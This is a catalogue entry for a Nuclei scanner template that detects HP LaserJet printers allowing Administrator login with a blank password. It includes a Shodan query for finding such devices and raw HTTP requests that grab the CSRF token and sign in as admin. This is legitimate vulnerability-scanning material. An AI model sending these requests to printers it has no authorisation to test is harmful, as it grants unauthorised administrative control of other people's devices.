hp-printer-default-login: Hewlett Packard LaserJet Printer - Default Login
- Template: hp-printer-default-login
- Name: Hewlett Packard LaserJet Printer - Default Login
- Description: HP printers often allow administrative access without requiring a password by default. This behavior enables anyone to log in as the Administrator without authentication, potentially exposing sensitive settings or functions.
- Severity: high
- Authors: JohnAsbjorn
- Tags: hp, printer, default-login, intrusive, vuln
- References: https://h30434.www3.hp.com/t5/Printing-Errors-or-Lights-Stuck-Print-Jobs/What-is-the-user-name-and-password-in-Embedded-Web-Server/td-p/6165417
- Verified: yes
- Max requests: 2
- Directory: http/default-logins
- Path: http/default-logins/hp/hp-printer-default-login.yaml
- Digest: 4b0a00483046022100abaa7d6de39d7e9d358422c03ba59b3d532832fa8416ca2f2b61a7fb7654f997022100fac2013d38ae2d74a611cc0368cd25b2c57396cc1afeb87d3140f310a447ae44
- Created at: 2025-06-16T16:39:28Z
- Updated at: 2026-09-10T11:58:53Z
- Age in days: 526
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/default-logins/hp/hp-printer-default-login.yaml
- Checked, none or zero: cves, products
- Not known: impact, remediation
Classification
- Checked, none or zero: cwe
- Not known: cvss score, cvss vector, epss score, epss percentile, cpe
Metadata
- Max-request: 2
- Shodan-query: html:"hp/device/SignIn/Index"
- Verified: yes
Labels
- Name: Hewlett Packard LaserJet Printer - Default Login
- Impact: Unauthenticated attackers can gain administrative access to the printer, potentially modifying settings or accessing sensitive information.
- Remediation: Change the default administrative password and update to the latest firmware version.
- Vulnerability type: broken_authentication
- Vulnerability impact: information_disclosure, privilege_escalation
- Requirement type: none
- Labels source: securitycontext
- Not known: requirements, from cve
```yaml
id: hp-printer-default-login
info:
name: Hewlett Packard LaserJet Printer - Default Login
author: JohnAsbjorn
severity: high
description: |
HP printers often allow administrative access without requiring a password by default. This behavior enables anyone to log in as the Administrator without authentication, potentially exposing sensitive settings or functions.
reference:
metadata:
verified: true
shodan-query: html:"hp/device/SignIn/Index"
max-request: 2
tags: hp,printer,default-login,intrusive,vuln
http:
- raw:
- |
GET /hp/device/SignIn/Index HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: identity
Accept-Language: en
extractors:
- type: regex
name: token
part: body
group: 1
regex:
- 'id="CSRFToken" name="CSRFToken" value="([^"]+)"'
internal: true
- raw:
- |
POST /hp/device/SignIn/Index HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: identity
Content-Type: application/x-www-form-urlencoded
Origin: {{RootURL}}
Referer: {{RootURL}}/hp/device/SignIn/Index
CSRFToken={{token}}&agentIdSelect=hp_EmbeddedPin_v1&PinDropDown=AdminItem&PasswordTextBox=&signInOk=Sign+In
redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- "User: Administrator"
- "Sign out"
condition: and
- type: regex
part: header
regex:
- 'Set-Cookie: .*session.*'
- type: status
status:
- 200
digest: 4b0a00483046022100abaa7d6de39d7e9d358422c03ba59b3d532832fa8416ca2f2b61a7fb7654f997022100fac2013d38ae2d74a611cc0368cd25b2c57396cc1afeb87d3140f310a447ae44:922c64590222798bb761d5b6d8e72950
```